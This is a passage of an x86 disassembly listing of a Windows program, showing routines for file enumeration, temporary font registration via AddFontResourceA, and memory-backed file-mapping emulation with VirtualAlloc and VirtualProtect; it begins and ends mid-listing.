sub_4CF6DE+31j and [ebp+var_24], 0 loc_4CF728: ; CODE XREF: sub_4CF6DE+44j movzx eax, [ebp+var_24] test eax, eax jz loc_4CF805 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18EC call sub_4DB871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_4CF7DE mov eax, [ebp+arg_8] and dword ptr [eax], 0 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jnz short loc_4CF778 push [ebp+var_1C] push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+4] call sub_4CF252 mov ecx, [ebp+arg_8] mov [ecx], eax loc_4CF778: ; CODE XREF: sub_4CF6DE+82j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jnz short loc_4CF7C5 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jnz short loc_4CF7B1 push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+4] call ds:dword_4E16D0 ; FindFirstFileA mov ecx, [ebp+var_1C] mov [ecx+8], eax mov eax, [ebp+var_1C] xor ecx, ecx cmp dword ptr [eax+8], 0FFFFFFFFh setnz cl mov eax, [ebp+arg_8] mov [eax], ecx jmp short loc_4CF7C5 ; --------------------------------------------------------------------------- loc_4CF7B1: ; CODE XREF: sub_4CF6DE+A9j push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+8] call ds:dword_4E16D4 ; FindNextFileA mov ecx, [ebp+arg_8] mov [ecx], eax loc_4CF7C5: ; CODE XREF: sub_4CF6DE+A0j ; sub_4CF6DE+D1j push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4CF807 ; --------------------------------------------------------------------------- loc_4CF7DE: ; CODE XREF: sub_4CF6DE+6Fj or [ebp+var_4], 0FFFFFFFFh call sub_4CF7E9 jmp short loc_4CF805 sub_4CF6DE endp ; =============== S U B R O U T I N E ======================================= sub_4CF7E9 proc near ; CODE XREF: sub_4CF6DE+104p mov eax, ds:dword_4E18EC mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_4CF804 mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4CF804: ; CODE XREF: sub_4CF7E9+Cj retn sub_4CF7E9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4CF6DE loc_4CF805: ; CODE XREF: sub_4CF6DE+50j ; sub_4CF6DE+109j xor eax, eax loc_4CF807: ; CODE XREF: sub_4CF6DE+FEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4CF6DE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CF818 proc near ; CODE XREF: sub_4D0741+CEp ; sub_4DA5FF+Bp var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004CF939 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE300 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi mov eax, ds:dword_4E18EC mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_4CF85E mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_4CF862 ; --------------------------------------------------------------------------- loc_4CF85E: ; CODE XREF: sub_4CF818+31j and [ebp+var_2C], 0 loc_4CF862: ; CODE XREF: sub_4CF818+44j movzx eax, [ebp+var_2C] test eax, eax jz loc_4CF939 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18EC call sub_4DB871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_4CF912 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jz short loc_4CF8A2 mov eax, [ebp+var_1C] push dword ptr [eax+8] call ds:dword_4E16A4 ; CloseHandle loc_4CF8A2: ; CODE XREF: sub_4CF818+7Cj push [ebp+arg_0] mov ecx, ds:dword_4E18EC call sub_4DB8E0 mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4CF8EC mov eax, [ebp+var_20] mov eax, [eax+4] mov [ebp+var_30], eax push [ebp+var_30] call sub_4D83DD pop ecx push 1 pop eax and eax, 1 test eax, eax jz short loc_4CF8E4 push [ebp+var_20] call sub_4D83DD pop ecx loc_4CF8E4: ; CODE XREF: sub_4CF818+C1j mov eax, [ebp+var_20] mov [ebp+var_38], eax jmp short loc_4CF8F0 ; --------------------------------------------------------------------------- loc_4CF8EC: ; CODE XREF: sub_4CF818+A5j and [ebp+var_38], 0 loc_4CF8F0: ; CODE XREF: sub_4CF818+D2j mov eax, [ebp+arg_4] mov dword ptr [eax], 1 push 0FFFFFFFFh mov [ebp+var_3C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_4CF93B ; --------------------------------------------------------------------------- loc_4CF912: ; CODE XREF: sub_4CF818+6Fj or [ebp+var_4], 0FFFFFFFFh call sub_4CF91D jmp short loc_4CF939 sub_4CF818 endp ; =============== S U B R O U T I N E ======================================= sub_4CF91D proc near ; CODE XREF: sub_4CF818+FEp ; DATA XREF: _5:004DE308o mov eax, ds:dword_4E18EC mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short locret_4CF938 mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4CF938: ; CODE XREF: sub_4CF91D+Cj retn sub_4CF91D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4CF818 loc_4CF939: ; CODE XREF: sub_4CF818+50j ; sub_4CF818+103j xor eax, eax loc_4CF93B: ; CODE XREF: sub_4CF818+F8j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4CF818 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CF94C proc near ; CODE XREF: sub_4DB23E+20p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_78 = byte ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004CFAAF SIZE 000001F8 BYTES ; FUNCTION CHUNK AT 004CFD11 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE310 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 80h push ebx push esi push edi or [ebp+var_20], 0FFFFFFFFh or [ebp+var_28], 0FFFFFFFFh and [ebp+var_2C], 0 and [ebp+var_1C], 0 and [ebp+var_24], 0 push 0 lea eax, [ebp+var_20] push eax push 3 push 80000000h push [ebp+arg_0] call sub_4D0346 test eax, eax jz loc_4CFD11 cmp [ebp+var_20], 0FFFFFFFFh jz loc_4CFD11 mov eax, ds:dword_4E18E4 mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_4CF9D0 mov eax, [ebp+var_6C] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_70], 1 jmp short loc_4CF9D4 ; --------------------------------------------------------------------------- loc_4CF9D0: ; CODE XREF: sub_4CF94C+6Fj and [ebp+var_70], 0 loc_4CF9D4: ; CODE XREF: sub_4CF94C+82j movzx eax, [ebp+var_70] test eax, eax jz loc_4CFD11 and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_20] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_30], eax mov eax, [ebp+var_30] mov eax, [eax] mov eax, [eax] mov [ebp+var_34], eax cmp [ebp+var_30], 0 jnz short loc_4CFA1E push ds:off_4DE4F8 push 22h push ds:off_4DE4FC call sub_4D848C loc_4CFA1E: ; CODE XREF: sub_4CF94C+BDj mov eax, ds:dword_4E18E8 mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_4CFA3F mov eax, [ebp+var_74] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_78], 1 jmp short loc_4CFA43 ; --------------------------------------------------------------------------- loc_4CFA3F: ; CODE XREF: sub_4CF94C+DEj and [ebp+var_78], 0 loc_4CFA43: ; CODE XREF: sub_4CF94C+F1j movzx eax, [ebp+var_78] test eax, eax jz short loc_4CFAAF mov [ebp+var_4], 1 mov eax, [ebp+var_30] push dword ptr [eax] mov ecx, ds:dword_4E18E8 call sub_4DB871 test eax, eax jz short loc_4CFA88 push 0FFFFFFFFh mov [ebp+var_84], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_84] jmp loc_4CFD13 ; --------------------------------------------------------------------------- loc_4CFA88: ; CODE XREF: sub_4CF94C+118j and [ebp+var_4], 0 call sub_4CFA93 jmp short loc_4CFAAF sub_4CF94C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4CFA93 proc near ; CODE XREF: sub_4CF94C+140p ; DATA XREF: _5:004DE324o mov eax, ds:dword_4E18E8 mov [ebp-7Ch], eax cmp dword ptr [ebp-7Ch], 0 jz short locret_4CFAAE mov eax, [ebp-7Ch] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4CFAAE: ; CODE XREF: sub_4CFA93+Cj retn sub_4CFA93 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4CF94C loc_4CFAAF: ; CODE XREF: sub_4CF94C+FDj ; sub_4CF94C+145j push 104h call sub_4D835A pop ecx mov [ebp+var_50], eax mov eax, [ebp+var_50] mov [ebp+var_2C], eax push 104h call sub_4D835A pop ecx mov [ebp+var_54], eax mov eax, [ebp+var_54] mov [ebp+var_1C], eax push [ebp+var_1C] push 104h call ds:dword_4E1734 ; GetTempPathA push [ebp+var_2C] push 0 push offset aMbx ; "mbx" push [ebp+var_1C] call ds:dword_4E1730 ; GetTempFileNameA push 0 push 0 push 4 push 0 push 1 push 40000000h push [ebp+var_2C] call ds:dword_4E16A8 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_4CFB3B push 0FFFFFFFFh mov [ebp+var_88], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_88] jmp loc_4CFD13 ; --------------------------------------------------------------------------- loc_4CFB3B: ; CODE XREF: sub_4CF94C+1CBj push 1000h call sub_4D835A pop ecx mov [ebp+var_58], eax mov eax, [ebp+var_58] mov [ebp+var_24], eax and [ebp+var_38], 0 loc_4CFB53: ; CODE XREF: sub_4CF94C+2BFj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] cmp ecx, [eax+8] jnb loc_4CFC10 mov eax, [ebp+var_34] mov eax, [eax+8] mov [ebp+var_48], eax cmp [ebp+var_48], 1000h jbe short loc_4CFB7B mov [ebp+var_48], 1000h loc_4CFB7B: ; CODE XREF: sub_4CF94C+226j lea eax, [ebp+var_40] push eax push 0 lea eax, [ebp+var_3C] push eax push [ebp+var_48] push [ebp+var_24] push [ebp+var_20] call sub_4D1177 test eax, eax jz short loc_4CFB9D cmp [ebp+var_40], 0 jnz short loc_4CFBBF loc_4CFB9D: ; CODE XREF: sub_4CF94C+249j push 0FFFFFFFFh mov [ebp+var_8C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_8C] jmp loc_4CFD13 ; --------------------------------------------------------------------------- loc_4CFBBF: ; CODE XREF: sub_4CF94C+24Fj push 0 lea eax, [ebp+var_44] push eax push [ebp+var_3C] push [ebp+var_24] push [ebp+var_28] call ds:dword_4E17BC ; WriteFile test eax, eax jz short loc_4CFBE0 mov eax, [ebp+var_44] cmp eax, [ebp+var_3C] jz short loc_4CFC02 loc_4CFBE0: ; CODE XREF: sub_4CF94C+28Aj push 0FFFFFFFFh mov [ebp+var_90], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_90] jmp loc_4CFD13 ; --------------------------------------------------------------------------- loc_4CFC02: ; CODE XREF: sub_4CF94C+292j mov eax, [ebp+var_38] add eax, [ebp+var_3C] mov [ebp+var_38], eax jmp loc_4CFB53 ; --------------------------------------------------------------------------- loc_4CFC10: ; CODE XREF: sub_4CF94C+210j push [ebp+var_28] call ds:dword_4E16A4 ; CloseHandle or [ebp+var_28], 0FFFFFFFFh push [ebp+var_2C] call ds:dword_4E17DC ; AddFontResourceA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_4CFC3C push [ebp+var_2C] call ds:dword_4E16C0 ; DeleteFileA loc_4CFC3C: ; CODE XREF: sub_4CF94C+2E5j push 8 call sub_4D835A pop ecx mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jz short loc_4CFC67 mov eax, [ebp+var_5C] and dword ptr [eax], 0 mov eax, [ebp+var_5C] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov eax, [ebp+var_5C] mov [ebp+var_94], eax jmp short loc_4CFC6E ; --------------------------------------------------------------------------- loc_4CFC67: ; CODE XREF: sub_4CF94C+2FFj and [ebp+var_94], 0 loc_4CFC6E: ; CODE XREF: sub_4CF94C+319j push [ebp+var_94] mov eax, [ebp+var_30] push dword ptr [eax] mov ecx, ds:dword_4E18E8 call sub_4CC000 and [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_98], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_98] jmp short loc_4CFD13 ; END OF FUNCTION CHUNK FOR sub_4CF94C ; =============== S U B R O U T I N E ======================================= sub_4CFCA7 proc near ; DATA XREF: _5:004DE318o mov eax, ds:dword_4E18E4 mov [ebp-80h], eax cmp dword ptr [ebp-80h], 0 jz short loc_4CFCC2 mov eax, [ebp-80h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection loc_4CFCC2: ; CODE XREF: sub_4CFCA7+Cj cmp dword ptr [ebp-20h], 0FFFFFFFFh jz short loc_4CFCD4 lea eax, [ebp-4Ch] push eax push dword ptr [ebp-20h] call sub_4D0741 loc_4CFCD4: ; CODE XREF: sub_4CFCA7+1Fj cmp dword ptr [ebp-28h], 0FFFFFFFFh jz short loc_4CFCE3 push dword ptr [ebp-28h] call ds:dword_4E16A4 ; CloseHandle loc_4CFCE3: ; CODE XREF: sub_4CFCA7+31j mov eax, [ebp-2Ch] mov [ebp-60h], eax push dword ptr [ebp-60h] call sub_4D83DD pop ecx mov eax, [ebp-1Ch] mov [ebp-64h], eax push dword ptr [ebp-64h] call sub_4D83DD pop ecx mov eax, [ebp-24h] mov [ebp-68h], eax push dword ptr [ebp-68h] call sub_4D83DD pop ecx retn sub_4CFCA7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4CF94C loc_4CFD11: ; CODE XREF: sub_4CF94C+53j ; sub_4CF94C+5Dj ... xor eax, eax loc_4CFD13: ; CODE XREF: sub_4CF94C+137j ; sub_4CF94C+1EAj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4CF94C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CFD24 proc near ; CODE XREF: sub_4DB277+20p var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE328 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 34h push ebx push esi push edi or [ebp+var_20], 0FFFFFFFFh and [ebp+var_1C], 0 push 0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_4D153F test eax, eax jz loc_4CFEBA movzx eax, [ebp+var_24] test eax, eax jnz loc_4CFEBA mov eax, ds:dword_4E18E8 mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz short loc_4CFD98 mov eax, [ebp+var_34] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_38], 1 jmp short loc_4CFD9C ; --------------------------------------------------------------------------- loc_4CFD98: ; CODE XREF: sub_4CFD24+5Fj and [ebp+var_38], 0 loc_4CFD9C: ; CODE XREF: sub_4CFD24+72j movzx eax, [ebp+var_38] test eax, eax jz loc_4CFEBA and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_1C] mov ecx, ds:dword_4E18E8 call sub_4DB871 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_4CFE88 mov eax, [ebp+var_28] cmp dword ptr [eax], 0 jz short loc_4CFDE8 push ds:off_4DE4F8 push 70h push ds:off_4DE4FC call sub_4D848C loc_4CFDE8: ; CODE XREF: sub_4CFD24+AFj mov eax, [ebp+var_28] cmp dword ptr [eax+4], 0 jnz short loc_4CFE04 push ds:off_4DE4F8 push 71h push ds:off_4DE4FC call sub_4D848C loc_4CFE04: ; CODE XREF: sub_4CFD24+CBj mov eax, [ebp+var_28] push dword ptr [eax+4] call ds:dword_4E17EC ; RemoveFontResourceA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+var_28] push dword ptr [eax+4] call ds:dword_4E16C0 ; DeleteFileA push [ebp+var_1C] mov ecx, ds:dword_4E18E8 call sub_4DB8E0 mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4CFE6B mov eax, [ebp+var_2C] mov eax, [eax+4] mov [ebp+var_3C], eax push [ebp+var_3C] call sub_4D83DD pop ecx push 1 pop eax and eax, 1 test eax, eax jz short loc_4CFE63 push [ebp+var_2C] call sub_4D83DD pop ecx loc_4CFE63: ; CODE XREF: sub_4CFD24+134j mov eax, [ebp+var_2C] mov [ebp+var_44], eax jmp short loc_4CFE6F ; --------------------------------------------------------------------------- loc_4CFE6B: ; CODE XREF: sub_4CFD24+118j and [ebp+var_44], 0 loc_4CFE6F: ; CODE XREF: sub_4CFD24+145j push 0FFFFFFFFh mov [ebp+var_48], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_48] jmp short loc_4CFEBC ; --------------------------------------------------------------------------- loc_4CFE88: ; CODE XREF: sub_4CFD24+A3j push 0FFFFFFFFh and [ebp+var_4C], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_4C] jmp short loc_4CFEBC ; --------------------------------------------------------------------------- loc_4CFE9E: ; DATA XREF: _5:004DE330o mov eax, ds:dword_4E18E8 mov [ebp+var_40], eax cmp [ebp+var_40], 0 jz short locret_4CFEB9 mov eax, [ebp+var_40] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4CFEB9: ; CODE XREF: sub_4CFD24+186j retn ; --------------------------------------------------------------------------- loc_4CFEBA: ; CODE XREF: sub_4CFD24+41j ; sub_4CFD24+4Dj ... xor eax, eax loc_4CFEBC: ; CODE XREF: sub_4CFD24+162j ; sub_4CFD24+178j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_4CFD24 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CFECD proc near ; CODE XREF: sub_4DB55B+Bp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE338 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi mov eax, ds:dword_4E18E0 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4CFF13 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_4CFF17 ; --------------------------------------------------------------------------- loc_4CFF13: ; CODE XREF: sub_4CFECD+31j and [ebp+var_24], 0 loc_4CFF17: ; CODE XREF: sub_4CFECD+44j movzx eax, [ebp+var_24] test eax, eax jz loc_4CFFAC and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E0 call sub_4DB871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4CFF54 push 0FFFFFFFFh and [ebp+var_2C], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4CFFAE ; --------------------------------------------------------------------------- loc_4CFF54: ; CODE XREF: sub_4CFECD+6Fj push 8000h push 0 push [ebp+arg_0] call ds:dword_4E17A8 ; VirtualFree mov ecx, [ebp+arg_4] mov [ecx], eax push [ebp+arg_0] mov ecx, ds:dword_4E18E0 call sub_4DB8E0 push 0FFFFFFFFh mov [ebp+var_30], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_4CFFAE ; --------------------------------------------------------------------------- loc_4CFF90: ; DATA XREF: _5:004DE340o mov eax, ds:dword_4E18E0 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short locret_4CFFAB mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4CFFAB: ; CODE XREF: sub_4CFECD+CFj retn ; --------------------------------------------------------------------------- loc_4CFFAC: ; CODE XREF: sub_4CFECD+50j xor eax, eax loc_4CFFAE: ; CODE XREF: sub_4CFECD+85j ; sub_4CFECD+C1j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_4CFECD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CFFBF proc near ; CODE XREF: sub_4DB51C+17p var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE348 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 44h push ebx push esi push edi and [ebp+var_20], 0 mov eax, [ebp+arg_14] and dword ptr [eax], 0 and [ebp+var_24], 0 mov [ebp+var_1C], 2 mov eax, ds:dword_4E18E4 mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4D001A mov eax, [ebp+var_48] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_4C], 1 jmp short loc_4D001E ; --------------------------------------------------------------------------- loc_4D001A: ; CODE XREF: sub_4CFFBF+46j and [ebp+var_4C], 0 loc_4D001E: ; CODE XREF: sub_4CFFBF+59j movzx eax, [ebp+var_4C] test eax, eax jz loc_4D0203 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_4D005E push 0FFFFFFFFh and [ebp+var_54], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_54] jmp loc_4D0205 ; --------------------------------------------------------------------------- loc_4D005E: ; CODE XREF: sub_4CFFBF+84j mov eax, [ebp+var_28] mov eax, [eax] mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov eax, [eax] mov [ebp+var_30], eax mov eax, [ebp+var_30] mov ecx, [ebp+arg_C] cmp ecx, [eax+8] jbe short loc_4D0086 push 57h call ds:dword_4E178C ; RtlRestoreLastWin32Error jmp loc_4D01B8 ; --------------------------------------------------------------------------- loc_4D0086: ; CODE XREF: sub_4CFFBF+B8j cmp [ebp+arg_10], 0 jnz short loc_4D0098 mov eax, [ebp+var_30] mov eax, [eax+8] sub eax, [ebp+arg_C] mov [ebp+arg_10], eax loc_4D0098: ; CODE XREF: sub_4CFFBF+CBj mov eax, [ebp+arg_10] add eax, [ebp+arg_C] mov ecx, [ebp+var_30] cmp eax, [ecx+8] jbe short loc_4D00B3 push 57h call ds:dword_4E178C ; RtlRestoreLastWin32Error jmp loc_4D01B8 ; --------------------------------------------------------------------------- loc_4D00B3: ; CODE XREF: sub_4CFFBF+E5j mov eax, [ebp+arg_4] mov [ebp+var_58], eax cmp [ebp+var_58], 0 jbe short loc_4D00D7 cmp [ebp+var_58], 2 jbe short loc_4D00D0 cmp [ebp+var_58], 0F001Fh jz short loc_4D00D0 jmp short loc_4D00D7 ; --------------------------------------------------------------------------- loc_4D00D0: ; CODE XREF: sub_4CFFBF+104j ; sub_4CFFBF+10Dj mov [ebp+var_1C], 4 loc_4D00D7: ; CODE XREF: sub_4CFFBF+FEj ; sub_4CFFBF+10Fj push [ebp+var_1C] push 1000h push [ebp+arg_10] push 0 call ds:dword_4E17A4 ; VirtualAlloc mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_4D00F8 jmp loc_4D01B8 ; --------------------------------------------------------------------------- loc_4D00F8: ; CODE XREF: sub_4CFFBF+132j cmp [ebp+var_1C], 4 jz short loc_4D0119 lea eax, [ebp+var_38] push eax push 4 push [ebp+arg_10] push [ebp+var_20] call ds:dword_4E17AC ; VirtualProtect test eax, eax jnz short loc_4D0119 jmp loc_4D01B8 ; --------------------------------------------------------------------------- loc_4D0119: ; CODE XREF: sub_4CFFBF+13Dj ; sub_4CFFBF+153j push 0 push 0 push [ebp+arg_C] push [ebp+arg_0] call sub_4D0421 and [ebp+var_34], 0 loc_4D012C: ; CODE XREF: sub_4CFFBF+1B4j mov eax, [ebp+var_34] cmp eax, [ebp+arg_10] jnb short loc_4D0175 and [ebp+var_40], 0 lea eax, [ebp+var_3C] push eax push 0 lea eax, [ebp+var_40] push eax mov eax, [ebp+arg_10] sub eax, [ebp+var_34] push eax mov eax, [ebp+var_20] add eax, [ebp+var_34] push eax push [ebp+arg_0] call sub_4D1177 test eax, eax jz short loc_4D0168 cmp [ebp+var_3C], 0 jz short loc_4D0168 cmp [ebp+var_40], 0 jnz short loc_4D016A loc_4D0168: ; CODE XREF: sub_4CFFBF+19Bj ; sub_4CFFBF+1A1j jmp short loc_4D01B8 ; --------------------------------------------------------------------------- loc_4D016A: ; CODE XREF: sub_4CFFBF+1A7j mov eax, [ebp+var_34] add eax, [ebp+var_40] mov [ebp+var_34], eax jmp short loc_4D012C ; --------------------------------------------------------------------------- loc_4D0175: ; CODE XREF: sub_4CFFBF+173j cmp [ebp+var_1C], 4 jz short loc_4D0194 lea eax, [ebp+var_44] push eax push [ebp+var_1C] push [ebp+arg_10] push [ebp+var_20] call ds:dword_4E17AC ; VirtualProtect test eax, eax jnz short loc_4D0194 jmp short loc_4D01B8 ; --------------------------------------------------------------------------- loc_4D0194: ; CODE XREF: sub_4CFFBF+1BAj ; sub_4CFFBF+1D1j push [ebp+var_2C] push [ebp+var_20] mov ecx, ds:dword_4E18E0 call sub_4CC000 mov eax, [ebp+arg_14] mov ecx, [ebp+var_20] mov [eax], ecx and [ebp+var_20], 0 mov [ebp+var_24], 1 loc_4D01B8: ; CODE XREF: sub_4CFFBF+C2j ; sub_4CFFBF+EFj ... push 0FFFFFFFFh mov [ebp+var_5C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_5C] jmp short loc_4D0205 ; --------------------------------------------------------------------------- loc_4D01D1: ; DATA XREF: _5:004DE350o mov eax, 